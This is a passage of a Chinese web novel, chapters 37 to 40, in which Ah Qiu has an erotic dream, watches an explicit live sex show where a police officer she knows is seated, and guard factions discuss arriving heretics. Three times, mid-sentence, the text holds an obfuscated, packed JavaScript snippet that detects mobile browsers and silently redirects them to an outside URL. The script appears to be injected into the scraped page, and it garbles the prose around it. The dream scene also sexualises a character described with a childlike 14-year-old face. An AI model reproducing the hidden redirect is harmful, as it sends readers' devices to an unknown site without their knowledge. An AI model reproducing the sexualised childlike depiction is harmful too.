在夜之窟,谣言的源头似乎就是在生锈准备间进进出出的男招待。许是这些天听了太多不该听的话,此刻他正大力搓着冻红了的耳朵,因为老板就住在这附近,他不敢在预料外的加班时间点燃火炉。 把视线从活该最冷的地方收回来,阿邱饮下最后一口燕麦奶。短短三五分钟谈话过后,它的表面已浮起了一层植脂末,就像从没有加热过一样。 盼望着、盼望着,反气旋来了,倒春寒的脚步接近了。 46. 第三十七章 情侣 阿邱感觉自己坐在一张长宽都不对劲的皮沙发上。 隔着饱和度更不对劲的紫色玻璃,不着寸缕的鸫正坐在一个肥老头的大腿上起起伏伏。 大抵是梦吧,这这这。 必须是梦!阿邱这么规定,它就必须是! 她要用品鉴的立场去看待这个画面。于是,在第二个朋友的作用下、在流星摇晃的点光源下、在她意识清醒的梦里,鸫仍然是圣洁的。 唔唔,就和新浪潮小说一样,用欺骗性的文字去粉饰它、刮腻子一样粉饰它,它就真的变成一面大白墙了。苏西说人坏导致世界坏,那就由她这个好阿邱来倒反天罡,把真善美还给世界。 可说句实话,阿邱起码有一半的脑袋无法唤起这种审美习惯,想要开门放主观能动性进来,那就只能普通地把脑袋分裂成两半:一时想在肥老头的肚腩上捅一刀,解放了他体内的脂肪让它们四散奔逃到地板上;一时又希望肥老头徐徐变成了她,通过“啊好大的劲儿”杯按摩椅大赛竞争上岗的。 还有一点不对。上回在婚礼现场,披白纱的鸫是高大威猛有棱有角的,然而衣服一脱,没见识的阿邱无法用那张稚嫩的14岁的脸脑补出一个光溜溜的肌肉猛男,所以这一幕的他只是个圆脸薄肌少年,孱弱、幼态,又无害。 这也太不人道了。剧团团长是谁?叫他来贵宾席招待一下阿邱。可以演点能过审的吗? 哦你镇在游客量激增时临时取消审核岗啊?不好意思。 那能不能换一台能下饭的戏啊! 现实生活中没有魔法师这个职业,何其遗憾!不起到任何作用的团长抹着汗走了,这里还是阿邱的梦,在浅眠期、欲望楼上的那一层道德醒过来时,她的流星就可以换上一身五彩缤纷的糖果服啦! 数着“3、2、1”,鸫仙子用星星魔杖一指天空,绵软的白云剧烈抖动,牛轧糖像暴雨一样倾泻而下;他乘坐的水晶马车由几匹精装修的白马拉着——每根鬃毛都烫过金箔,最后喘着粗气横陈在他们面前。 但是仍然跟她隔着一层,紫的。鸫,你怎么就是不肯过来我这边呢?阿邱一点也不介意看起来有60公斤的他坐在自己身上,她年轻力壮,一定比肥老头颠得更起劲。 正想问问鸫对“3、2、1”的倒计时有什么看法,道德之上的判断力却在三楼苏醒了,阿邱意识到,兜头浇下的牛轧糖暴雨很可能就是真正的暴雨。 有意思吗!所谓的闺房只防魔女不防水,换个方向睡,她还是得被浇醒。 下雨了,她是说窗外也。 阿邱不舍地看一眼保持干燥的平面鸫,把床从角落里拖到房间的正中央,吵醒了楼下的谁算他倒霉。 回想起来,刚刚那个应该算春梦吧? 在以往的春梦中,那些符号化的男演员总是有着雕塑般的身材、模糊不清的面目,“遇见”鸫之后,她还是第一次在春梦中看到了具体的脸。 明白这是正在成长,或者说正在老去的体现,阿邱还务实地想到一点——也可能是来月经的前兆。 大半年没见面,阿邱都快忘记她的存在了。有点难办啊,安慰奖可以顺手牵羊,润肤霜可以从日用清单上划掉,外衣可以扒死人身上的,但贴身衣物和卫生用品可不能这么随便。 看样子二手市场是不得不去了,她为即将逝去的金钱与离她越来越远的邱珊徽章难过起来。 这个问题勉强可以用勒紧裤腰带解决,波动的激素可如何平息? 无比珍视自己这棵小树苗、生怕主干长歪了的阿邱想起什么,在异端据说上岸了的节骨眼上,只顾自己地、摸出了藏在床头的门票。 以防有人忘了前情,这张票通向那位准退休演员,上不得台面,却可以让她见识到猪是怎么跑的。 ———— ———— 地心剧院,连同它左右两旁的轴对称长阶梯,乌压压的一座山,是全镇占地面积最大的建筑,投下的阴影又黑又长又庞大,在时间和空间上都有这种特征。 那么夹在它与夜之窟中间的热情岛屿小剧场,每天一定有个时间段是离不开背阴处的。 远离终止式指挥处的薄铁门,越是接近那个长见识的地方,阿邱的退堂鼓就打得越响。可同路人个个面色如常,她要是半路逃跑了,反而会招来异样的眼光。 剧场外竟还煞有介事地停着架小推车,在售商品也很常规:爆米花、气球、棉花糖。阿邱迟疑着上前翻看半成品的玉米粒,下意识地想找出它们和一般剧场的标配有什么差异…… 排在后面的人不耐烦地咂嘴,回头一看,哟,还是个西装革履的上班族,时不时抬起手腕看看表,表示他在赶时间,不想买就让一让。 好好好,全世界都在把“色///情”这东西往常态化上拱。想来也挺奇妙,常态是什么?A、圣诗集;B、它的反义词,从来只有这两个选项。 预备救世主是不能跟社会脱节的,牧笛说过这是婚前培训级别的表演,阿邱拍拍脸颊,拼命劝自己放下矜持、自然而然地走进去,带着求知精神好好观摩学习一番。 姑且再相信那个骗子一回吧。阿邱向戴墨镜的光头招待出示了门票,眼神一凛,僵硬着脊背、攥紧了两个拳头,像发条人一样“咔嚓咔嚓”地走进了门帘后。 将将适应昏暗的光线,多半是浑浊又湿润的暖气在她的眼镜片上留了雾。拿手帕擦出一角视野,女舞者的局部特征成对而大量地出现,和着越来越浓的水汽一起扑到了她脸上。 一看这是个独行的年轻姑娘,舞者们略略颔首,转身又去热情招待年纪和性别更合时宜的观众朋友了。 阿邱这回没有因为被冷落而伤心,她巴不得所有人都当她是空气,贴着墙根摸到座位上,发现这里是个不起眼的小角落,更是大大松了一口气。 过了一会,她大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052092|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 致观察出了这场表演最主流的受众:她的座位前后左右都是情侣,未必有结婚的意愿,但愿意提前接受一点婚前培训;就算没那个求知精神,这里也算是个价值导向较为明确的约会地点了……很多小巧思呢。 另外,女方身边总有些空着的座位,这是因为不少观众正在下面的舞池跟表演者贴身热舞。互动舞池边的主舞台上,衣着清凉的女工作人员正在搬运道具,时间在那里显得特别漫长,因为她们重视的是过程、用什么姿势经历这个过程,并不十分在意工作成果。 或许表演在这时就已经开始了?阿邱有种感觉,这个明面上、常态化的热情场合……至少不是特别地女性向。 对男性观众的撩拨效果倒是显而易见地好。前座传来一声惊叫,只见有个女孩被她坚守男德、没下舞池的男友摁在了椅背上—— 咦,椅背是可调的?阿邱也康康康地调出个舒适的姿势,自己动手就能完成,不需要第二个人来帮忙,还好还好。 喧闹中,谁都没注意到丛林风的入场音乐换成了劲爆的舞曲。乐队的爵士鼓手一顿猛敲,就差没连人带鼓把自己送到天花板上了,报幕功能却远不如前排观众的欢呼声。 表演正式开始了。互动舞池中的舞者嘘走了观众,排好队,跳着桑巴走上主舞台,在急促的鼓点中,组成一个有些松散的全包围阵型。 万众瞩目之下,最外层的表演者们面朝观众半躺下,撩拨地伸出腿,摆出了草原民族在马背上用脚拉弓的姿势。 短裙掉到腰上,阿邱才发现她们里面什么都没穿。第一排的观众看得最清楚,反应平淡;第二排的观众看得第二清楚,纷纷在公共场合展示出仪态的可调整性:脖子前倾;第三排的观众脖子伸得更长,除了仪态,还展示了人体骨骼的放量;第四排就啥也看不着了,如果这是一排牙齿,负责它们的牙医会衣食无忧一辈子——有的急着要把脑袋插进第三排的脖子中间,有的在指点第三排去侵占第二排的领地,有的为自己和邻座的不作为而大动肝火,索性互相厮打起来。 这些努力不能说是徒劳的,至少没使到要害处。伴着越来越激烈的音乐,天花板上的水晶吊灯贴心地大放光明,把整个舞台照得光华夺目,正中间的小舞台开始旋转,绷着腿的舞者们有教无类地把那一处精彩展示给所有买了票的观众。 ——之所以用到“有教无类”这个词,是因为有人在叫她们的名字,后缀都是“老师”。阿邱做了好一番心理建设,最终还是败给了良心,用瑟瑟发抖的双手遮住了眼睛。 她也想学习第一排观众的淡然,比如豆子警官,山岳崩于前也能双手插兜、他自岿然不动。 …… 等一下,她刚才说谁!? 阿邱反应过来,像被一瓢冷水浇中般打了个大大的寒战。 不对吧?是她眼睛出问题了吗?豆子警官怎么会在那里?在那里的怎么会是豆子警官! 47. 第三十八章 这天中午,正当阿邱被袭来的雨水关在房间里、独自抠着头皮编纂阿瓦隆神学院、玫瑰学派和北城市政厅三方演义、并为下午那场长见识的表演预留脑力和心理准备时,豆子也烦闷地坐在室内、擦洗一净的玻璃窗边,悉心把“阳光”喂进那株娇贵的水仙花嘴里,如果它有的话。 外头断断续续地在下雨,去不了露台,只能趁乌云回大本营补货时蹭蹭没让它们拦住的光线了。水仙花从不抱怨,可是长了嘴的动物更让他心烦:也是因为下雨,两位领导都没去巡逻,和他一起闲在指挥处,目前的行程就是一左一右坐在他身边,用四道视线监工最低微的小队员照料地位比他稍高的吉祥物,顺带在下午茶之前把剩下那点工作聊完。 “密函都销毁了?”左手边的克洛诺斯问。 “销毁了,渣都不剩。”右手边的马尔科姆答。 “好。但有句讲句,齑言台这东西我看也是越来越不靠谱了。”说话时,克洛诺斯又在摆弄他的宝贝成影仪,小心地把袋装干燥剂塞进潮气可以通过的缝隙中,“造影技术越来越发达,我怀疑将来它能发展到把已销毁的信件原封不动地找回来,目前专家还没针对这个漏洞做出安全升级,嘶,飞笺器都快普及了,他们该不会是想趁机把书信系统整套淘汰掉吧?安全是保证了,可那样也太不浪漫了——豆子,你说呢?” 豆子在心里疲惫地回应他……还是那句话:你为什么不问聪明的马尔科姆副队长呢? 克洛诺斯本来也不指望他回答,思维又跳脱开:“还有件事我也很好奇。你们说,邱老师在邻镇的学校是教什么科目的?不是贬低她的学历,我只是觉得很了不起,以大学肄业的资质找到一份教职工作,就算是临时的,肯定也有她的过人之处!” “真不错,新人招进来小一周才好奇她的上份工作吗?”马尔科姆无奈道,“可能是社会与道法吧,简单的通识课一般不看资质和证书。” “不好说,我看那所学校也并不简单,如果录用她不仅仅是出于能力上的考量——这个以后再论。阿邱有能力是一方面,重启调查的理由还需斟酌,除了一面之词不能作为参考,我也不想公开和森林戍卫队的弟兄们对着干呀……真要对着干的话,我是这么想的:可以把塔桥小弟的出身当作突破口,你们觉得呢?” 豆子无奈地冲他眯了眯眼,越过他的头顶看到钉在墙上的软木板:用一块废料就能收服一个自杀劝退师、叫他比任何人都入戏,邱小姐没准真是个天生的社会与道法老师呢。 随着乌云的中场休息,窗外的风也停在半路系鞋带,于是,桌上的矿油灯只稍稍摇晃一下,光影动态也十分明显。 “有人朝我们这边来了。”一直望着窗外的马尔科姆扶了扶眼镜:“好像是……戍卫队的劳伦斯小姐?” 隔着雨帘看清那个举着一把红伞的高挑身影,克洛诺斯突然兴奋起来,握住豆子的肩膀晃了晃:“噢哟,我还以为她送过乔迁糖果就再也不会来了,豆子豆子,你这次可一定要把握住机会啊!” 什么机会? 豆子莫名其妙地甩开这只聒噪的灰喜鹊。他算是看出来了,当所有人都在喝下午茶、聊家常或打瞌睡的时候,闲不住的克洛诺斯偷摸给自己树立了一个隐秘的工作目标:打从不请自来地替豆子过完他的十九岁生日、举队迁往瓦德密尔后,邱小姐也是,劳伦斯小姐也是,但凡见到“适龄女性”,他就要火急火燎地把豆子推出去,仿佛错过这些女孩他就永远嫁不出去了似的。 只有没长嘴的水仙花才会无条件接受主人心血来潮的授粉;也是为了应对聒噪的主人,植物干脆把雄蕊雌蕊都干干净净地长在自己身上。豆子不一样,不光长嘴,还长了腿,起身欲走,却被克洛诺斯一把按了回去。 “等等,先别动。” 他把成影仪藏回抽屉,倏地变了脸:“她被人跟踪了。” ———— ———— 睁大眼睛仔细一瞧,错不了,那个正襟危坐的、衣服上一道褶都没有的前排求学者,不是豆子警官又是谁? 好哇,还以为他真跟外在表现出来的一样正经,毕竟他的卖点就是“终止式唯一的正经人”,想不到这个浓眉大眼的背地里也来这种地方观摩学习,还坐第一排! 好不容易让阿邱抓住一个道德制高点,一时她连尴尬都忘了,慌忙爬上去站好,手从眼睛上放下来、分别插进两边腋下,傲慢地审视起了那个熟悉的背影——被带过几趟路、在终止式指挥处吃过几回下午茶后,比时常让人记不住长相的正脸还熟悉的背影。 面对的不是文件之冰山,而是舞台上的“老师”,豆子警官没穿制服,仅披着件版型挺括、领子立起来可以遮住下半张脸的风衣;头上则戴着崭新的宽檐帽,拉下帽檐刚好可以遮住上半张脸,整体气质怎么形容呢,就跟警匪舞剧里会格斗的私家侦探一模一样。 还有这身穿搭,哇哈哈哈,比外面那架小推车还要煞有介事,他还知道害臊呢!违背角色设定来这种见不得光的地方,可不就得乔装起来么!但还是被慧眼如炬的阿邱认出来了,无论体裁是诗歌还是小说,《豆子的背影》都永远焊在了标题上,用每秒转速300下的涡轮钢丝球都洗刷不掉啦。 阿邱完全猜得到,要是她现在跑下去问豆子,对方一定会找些冠冕堂皇的借口,譬如说,他才不是来看表演的,他是代表终止式来维持现场秩序的;他是另外一个人,来旧矿山镇寻他失散多年的孪生兄弟,名叫罗宾·洛夫克拉夫特或许小姐你认识…… 第二条还有一成的可能性,双胞胎的背影大概也是相似的,可是第一条谁信呐!豆子警官又不是终止式雇佣的奴隶,现在可是十字城邦的法定下班时间哟。 阿邱暂时不知道的是,严格意义上,终止式根本就没有下班时间。她才不管,她要在脑袋里雇一个大型交响乐团,吹拉弹打地嘲笑豆子警官。 等《欢乐曲》演奏完了,她再次抬起眼皮看向舞台,不看还好,一看差点一口气没上来,活像被寒冬腊月没沥干净的牛油糊了一嗓子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16054259|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> ——不知什么时候起,那些“老师”的背后多了个肥老头! 不仅老,这人一旦出现在舞台上,对视力的罪状还在于伸出肥大的舌头,让这条生物道具细致地刷过每一位老师的脖子。 阿邱在第一个针眼冒出来之前意识到——哦,婚前培训已到真刀真枪阶段了,从表演者性别比的角度出发,看来肥老头就是传说中的将退休人员,也就是牧笛推荐给她见识生命起源的“老师”…… 那么他的那个很那个吗? 肥胖者是不可能很那个的。普通生理课不会教得这么细致,阿邱只是听塔尔塔洛斯的女囚谈起过,她们什么都失去了,没有在未成年人面前撒谎的必要。 往那肥老头的□□一扫,她恍然大悟:什么好东西,不过是魔法与狠活罢了! 这样的人都能在业内干到快退休……十字城邦、狄安娜女神的持卡子民,很幸福、很幸福啊,总能找到空缺的岗位。 就是教学成果超出了牧笛的预期——别说是生命起源了,阿邱现在有点盼着世界毁灭。 她把目光逃难式地往左右一瞥……噫,情侣们倒很吃这套,在这样的氛围中纷纷接起了吻。 此起彼伏的嘬肉声中,阿邱猛不丁看到另一个惹眼的身影。 是露娜。惹眼的首先是她本人,其次是她坐在豆子警官右手边。她应该早就在那儿了,只是阿邱被眼前的变故连番震撼,没能第一时间注意到她。 看来两位暴躁社会新人不是恰好坐在一起,间或还要交头接耳几句,给人的感觉就像是一起订票来的。真的假的?阿邱这边还在奇怪他俩是怎么认识的呢! 不奇怪不奇怪,终止式和森林戍卫队撞型,总会有些貌合神离的工作来往。这么一说,罗宾和露娜才是真正的同级嘛,就连名字都像是出自同一本奇幻小说。 二位在聊什么呢?隔这么大老远也听不到,阿邱积极向上地期待他们分别代表各自的团队,正在为重启调查双尸案的事争论不休…… 应该没有这种可能。座位互相挨着的男女都是情侣,瞧瞧,纸包不住火了吧!这两个搞地下恋情的,为了不被逮住,背着领导跑来这种地方约会,可是很不巧啊,都被坐得高看得远的阿邱尽收眼底了! 呸呸呸,开玩笑的。怎么可能是情侣嘛,两朵冻死人不偿命的高岭之花,凑在一起怕不是要让全境气温骤降两度哦。肯定只是同级间的公务、应酬,就好比说,下班后找个偏僻地方一起训练小众技能、呃呃,什么技能呢?对,挑战视觉接受度的极限,以磨练出杀人不眨眼的心性—— 正在阿邱自我安慰时,一阵突如其来的冷风攫住了她的心脏。 热情岛屿小剧场是密闭的环境,冷风刮不进来,但可以钻进脚底、循着神经倒灌进来。在灯火通明的小剧场、在热情表演的最前排、在婚前培训老师天团的面前,坐得高的阿邱把什么都看得一清二楚:不爱搭理人的冰块脸豆子,被另一个不爱搭理人的冰块脸露娜……一把扣住后颈,狠狠地吻了下去。 48. 第三十九章 “他以为是我乐意的啊?!” 迦南小队长离开后,露娜冲支部大门怒喝道。 “——是,我也讨厌那群上蹿下跳的北城野猴子,尤其是那个装模作样的克洛诺斯,可叫我带礼物去打点不是镇长亲口吩咐的吗?”她咬肌鼓起,越说越气,“难道叫我一个新兵蛋子当面驳回上级指示?工作没了他养我啊!再说我压根也没送什么好东西,不就是仓库里积压的米面油和牛轧糖吗,落在这位爷口里就是,哦,是没明说,可你听听他那意思,话里话外都是我胳膊肘往外拐!那我请问,尊贵的迦南大人有为我镇做过什么实事吗?一个地方狱警,我还没问他是怎么混进神殿戍卫队的呢!” 看着她跳脚,海伦抿嘴一笑,轻飘飘地一句带过:“你这五毒俱全啊,又是歧视外地人又是瞧不起推免人员的。” 她这么做是知道露娜生气用不着哄,但这孩子有一点不好:情绪外化,一生气就爱往桌上掼东西,比如现在被反弹到天花板上的那支笔。 而生气对她来说实在又是家常便饭,于是外包的办公用品采买员就必须修出眼疾手快的本事,以便在这种情况下及时抢救支部财产。 好在这只刺猬发完脾气后,回过神来还记得道歉:“对不起海伦姐,我不是故意的,没有误伤到你吧?” “扎我眼睛了。” “什么?我看看!” “骗你的。”海伦从眼睛上把手拿开,“你看,我也是个装模作样的人。” “哎呀,别什么都往自己头上揽!”露娜眉头一松,颓唐地坐了回去:“去他的吧,我不管了,反正也就大赛这段时间稍微合作一下,过后就老死不相往来了。” “难说哦,你怎么知道大赛一结束人家就撤走了?” “啧,也是。往好处想,就北城祭司那一天一个主意的样儿,说不定赛程还没过半就召他们回去了呢,本来也是名不正言不顺的纸老虎一群,还想跟我们森林戍卫队平起平坐?” 海伦冲着办公桌挑了挑眉。她知道露娜这代人受过的新教育要求她们乐观自信、立场坚定、重视城邦与城邦间的壁垒,于是不再多言,用逗小孩的语气问她:“如果拿克洛诺斯换迦南小队长,你换不换?” “当然换!”露娜毫不犹豫地说,“克洛诺斯起码还有点真本事在,迦南——就不说了,免得你骂我以下犯上凑齐了第三种毒。哎呀不说那些讨厌鬼了,海伦姐,你这几天都要在我们支部办公吗?” “对啊,不欢迎我?” “怎么会呢,我高兴都来不及!”露娜气鼓鼓的脸上终见几分喜色,“是夏尔玛镇长要求的吗?唉,你说他老人家背着我们到底在干些什么呢……干嘛那样看着我,我又不是在揣测上级,就闲聊嘛。” “都要忙起来了。”海伦收回犀利的视线,“阿瑞斯杯就是下个月的事了,到时候我们这帮打杂的只怕连睡觉的工夫都没有咯,你也做好心理准备吧。” “哪有什么心理准不准备的,这也是为了锻炼我的能力,倒是海伦姐你——堂堂一个镇长秘书,他们凭什么还要安排你去打杂?”露娜绕到她身后,震惊地指着她手中那份排得密密麻麻的日程表,“这是你一个人的行程?人手是有多不够啊?考试还那么难!搞得我都没什么奋斗的动力了……” 海伦噗嗤一笑:“你搞反了,公职人员是这样的,越是身居高位就越没有休息的资格,趁你现在还是部队基层人员,抓紧时间享受生活去吧!下个月我尽量把你的活儿往前排排,好让你腾出时间去看几场总决赛——听说现在报名门槛降低了,但决赛的含金量还是可以保证的。” “不用不用!”露娜连连摆手,“我就是个小喽啰,我服从上级的一切安排,而且我、我对阿瑞斯杯完全没兴趣——” 海伦站起来,伸出春葱般的手指点了点她的鼻尖:“别跟我客套啦,年轻人哪有不喜欢武斗比赛的?” “我没有在客套,我是真的不喜欢,小时候跟着家人还偶尔看过几场,自从知道他们不让女人参赛我就再也——” “普拉斯特小姐!” 贸然闯入一个小队员,打断了二人的谈话。 海伦偏头看过去,温和却不失严厉地批评他:“下次进办公室前先敲门,记住了吗?哟,脸色怎么差成这样,快过来,坐下慢慢说。” 绿褐色的小队员仰头喝干茶水,杯子还没放稳,就急急忙忙开口了:“从威丝塔芬过来的一趟长途班车……” 小队员提到的这种长途班车,有点类似于我们这个位面的蒸汽火车。自从十字城邦的矿力资源宣告转入初级备战模式,班车的票价跟着水涨船高,私人跨城邦旅行也成为了一种奢侈活动——这也解释了为什么旧矿山镇不像往年的阿瑞斯杯主办地一样,在赛前一个月就着急忙慌地变成了沙丁鱼罐头,逛个街都转不开身。 这就是人口众多但可利用资源结构单一的坏处了。看到这里的读者不妨放下手机想一想,如果你跟克洛诺斯一样是个活泼好动的35岁,你应该先把路灯上的领导放下来,好生思考一下自己未来的道路,比方说,要不要趁裁员之前策反你身边另外几位岌岌可危的35岁,拿着(n+1)x几破釜沉舟地创立新能源公司,核心技术我都给你想好啦,天使轮就用仓鼠滚轮、胡萝卜驴、猫咪黄油面包作为永动引擎吧,拼搏五年做大做强,为不稳定的兼职工种如网文作者提供新媒体运营岗,让老中青三代都不为失业而去世,这样一来,你不仅成为了经济下行期的救世主,更能维持文坛的勃勃生机、让下届诺奖花落中女家,何乐而不为呢! 扯这些也没用,还是让我们拿起手机,接着听听小队员是怎么说的吧。 “……人都撤走了,但还不能放松精神,就在刚才那班车上,我们真的发现了‘异邦人’!” 原来如此。跑步传达通知的习惯还没被飞笺器取代掉呢?此外,露娜也为“异邦人”这个说法微微蹙眉。私底下辱骂不够文明开化的外地人可以,但这里是工作场合,面生的小队员叫着海伦姐的姓氏破门而入,显然是有更要紧的事情汇报。 莫非他的意思也是—— “异端聚集的城邦”? 细看时,海伦姐似乎也是这么理解的,不过与小队员的慌张相比,她的微笑显得沉稳多了。 “具体哪个班次?你先登记一下。别紧张,不过是些外来客,如果向全镇发出危机预警是10,这还不算数到1呢,等夏尔玛镇长回来我们开个会说,时间上绰绰有余。” “不、不仅如此!”小队员咽了口唾沫,小心翼翼地迎上海伦的视线,“刚刚我们查过乘客表,跟他们一起行动的人中,有个叫……叫黛安娜·普拉斯特的……跟令妹的名字一模一样……” ———— ———— “中午好,各位同僚。最近过得怎么样?见到你们真高兴。” 放下红伞以及“不冻港小船屋”的招牌茶点——苹果派,露娜向终止式的三板斧打招呼。 刚才在门口,从她抖掉伞上水珠的动作幅度来看,这句话所表达的情绪至少有一半不是真的。 克洛诺斯再次用眼神按住试图起身倒茶的豆子,对露娜绽开一个灿烂的笑:“好着呢好着呢,捂好膝盖就不会遍体生寒啦。劳伦斯小姐你呢?冒着雨过来,是戍卫队那边有什么吩咐吗?” “吩咐?别这么说。一方面是抢到了限量 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16059540|179075||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 供应的苹果派,想跟周围的朋友分享……” 一番双方都不太需要、但社交场合永远省不掉的生硬寒暄后,露娜坐定,道出了此行目的:“刚才我们接到通知,第一批‘那个’好像已经上岸了。” 马尔科姆咬了一口热气腾腾的苹果派,含含糊糊地说:“哦,是这事儿啊,双尸案之后我们已经互相确认过了,今天是有新进展吗?” 克洛诺斯长臂一伸,“叽”地捏住了豆子的脸蛋:“对啊,当时还是你这位第一联络人接线的,还记得吗?” “呃?”露娜困惑地瞥了豆子一眼。 没心情分析这句话背后的深意,她接着说正事:“我们今天收到了新情报,那帮人的目的好像不仅仅是倒腾白金币……” 三板斧默契地陷入沉默。露娜眉头一拧,继续给出提示:“你们觉不觉得,安德烈·蜜丝缇的死跟这个有关?” “也可能和阿瑞斯杯有关吧。”马尔科姆随口搭腔,眼睛无法从剩下的苹果派上移开,“齐格飞已经确认要参赛了,他是近年来最亮眼的新人,引起‘他们’的注意也很正常。” “说到亮眼,我们家豆子的厨艺才是真的亮眼,只可惜阿瑞斯杯不比做饭……”克洛诺斯坚持要把话题岔开。如果是邱小姐在这里,此刻绝对已经卡壳了,下一个动作是把“他是不是喝了”这个问题写在脸上,可怜巴巴地向豆子发出求救信号;如果豆子不能及时给出反应,她会马上摆出起跑姿势,在克洛诺斯掏枪前逃之夭夭。 但露娜毕竟是受过专业训练的,工作场合敢于讲求效率,不惮向上管理。 “克洛诺斯队长,请你不要打岔,我在跟你讲一件生死攸关的事。” 她又哪里知道这个厚脸皮的就地一躺绝学:“在那之前容我直言一句——劳伦斯小姐,你别老是板着脸嘛,女孩子这样就不好看啦!知道你们戍卫队业务繁忙,平时不敢过多叨扰,今天好不容易得了空,天气又好,闲着也是闲着,不如你带我们罗宾小队员去哪里转转吧?” 天气哪里好了?谁又闲着了?露娜看起来不知从何反驳起,豆子便体贴地接住了她无奈的眼神。 不愧是通过专业考核的女神护卫官,她先答应道:“好。” “但是,”她又说,“我问过镇长的意思,他认为情况有些紧急,需要我们两个队伍联手应对。” “那是真的很紧急了。”马尔科姆神不知鬼不觉地又拿走一块苹果派,给克洛诺斯递个眼色,“队长,你来决定。” 克洛诺斯迅速扫一眼窗外,笑呵呵地说:“没问题啊,镇长有令,我们终止式愿效犬马之劳!不过先请劳伦斯小姐在屋里多坐一会,等我们解决了‘那个’再泡壶茶来跟你详谈。” 露娜不解:“‘那个’?” 克洛诺斯搔搔抬头纹:“就是说你来得正好,碰巧我们也遇上了一点麻烦……” 露娜意识到了什么,顺着他的目光往外看:“需要我帮忙吗?” 克洛诺斯有些赧然:“耽误你一小会不要紧吧?” “没问题,本来也是在跟你们谈合作,就当是展示我的诚意了。” “我们从不怀疑劳伦斯小姐的诚意,可镇长那边——” “事后我会向他汇报。”察觉到这男人的别有用心,体验不比摸了一手泥鳅的滑液要好多少,露娜咬牙道:“担责人只有我一个。” “有劳了。”克洛诺斯露出舒心的微笑,“动手吧。” 豆子应声推倒茶几。 他把这句话当成一个信号。 一个假装没有为“等到线索的同时来自真衙门的求助与帮手一道儿送上门来啦”而兴奋不已的游戏结束了的信号。 49. 第四十章 碎 不冻港南站,出站大厅。 长途旅行本就令人疲惫,出站时还要经历层层盘查,虽能理解赛时防线的特殊,面对不近人情的几队士兵,旅客们的不满也随着时间的推移逐渐累积起来。 “到底还要盘问多久?什么时候才肯放人啊?” “通往镇上的班车下午三点就停运了,小地方就是麻烦!” “而且镇外露营地六点钟就不对外开放了,这是想让我们集体睡大街吗?” “我就出差路过一趟旧矿山镇,今天晚上又要出发,父母还在家里等着我呢!” …… “大家稍安勿躁!” 这时有个身着朴素银蓝制服的矮个儿雀斑男走出队伍,尝试安抚众人:“我们遇到了一些状况,需要开箱检查各位的行李,请你们稍事配合,有什么困难可以先来我这儿登记,我们神殿戍卫队一定会想办法解决的。” “你来解决?”另一个绿褐色的队员莫名呛声道,“拿什么解决你倒说说?” 细看时,绿褐的队员和银蓝的队员,竟长着两张一模一样的脸。 旅客们对双胞胎间的私人恩怨毫不关心,一听有人帮腔,当即选了边站,抓住浮木般怒骂:“就是啊!光说不练假把式,装模作样的北城猴……” 话说半截,想起这班车上还有不少走陆路的希孚里亚人,又咳嗽着沉默下去,给焦躁的氛围平添了几分尴尬。 那么敢在这时候站出来打破僵局的人,一定有着超乎常理的能力——起码有着超乎常理的自信。 “诸位都是第一次来旧矿山镇吗?嗯,看来大部分是。其实观光手册上写得并不全面,能落脚的地方不只有旅店和露营地而已,敝人前些年曾在此地做过买卖,店面选在镇广场周边,那附近有一条挺长也挺隐蔽的街道名叫‘夜之窟’,里面有几家不为人知的民宿,往年就算是旅游旺季也住不满,如有需要,稍后可以去那边碰碰运气。” 说话的男人语气非常随意,可不知怎么地,就是自带一股令人信服的气势。 怒骂和埋怨声逐渐平息下去。待人们仰视这道刚摘下深红色八角帽的瘦长身影时,却是纷纷露出讶异之色: 想要形容这位小哥的长相,可以用得上一个偏门的词汇——“斑驳”。 结合他的身形特征,也很容易让人联想到另外一件事物:一根老教师手上的旧教鞭——因为鞭笞过太多学生,黑的白的,留下了满身不可磨灭的痕迹。 如果有人研究过海洋生物,这男人分布不均的肤色还与一种有意思的“活化石”相关联:作为被认定6000万年前早已灭绝的物种,某天突然重新游回了人们视野中的腔棘鱼。 旅客中有个少女歪着头打量他一会,狡黠一笑,上前搭话了:“这位先生,你有想过夜之窟不能出现在观光手册上的原因吗?” 瘦长男人眼睛扫过少女肩上的学生制服斜挎包,温和地冲她笑笑:“好办法不都在肉眼可见的地方——大学院大概不会教人这种知识。” 少女哈哈笑着,双眼眯起,瞳色是耀眼的浅玫瑰红,恍然间,人们好像看到大太阳天、两颗不含杂质的红宝石钻进了浮光跃金的瀑布中。 “你这人说话真有意思!”少女大大方方地走近,轻握一下他的指尖:“我是狄安娜·普拉斯特,很高兴认识你。” 瘦长小哥顿了顿,道:“原来是黛安娜小姐,幸会。” 少女骤然变色:“我呸!” 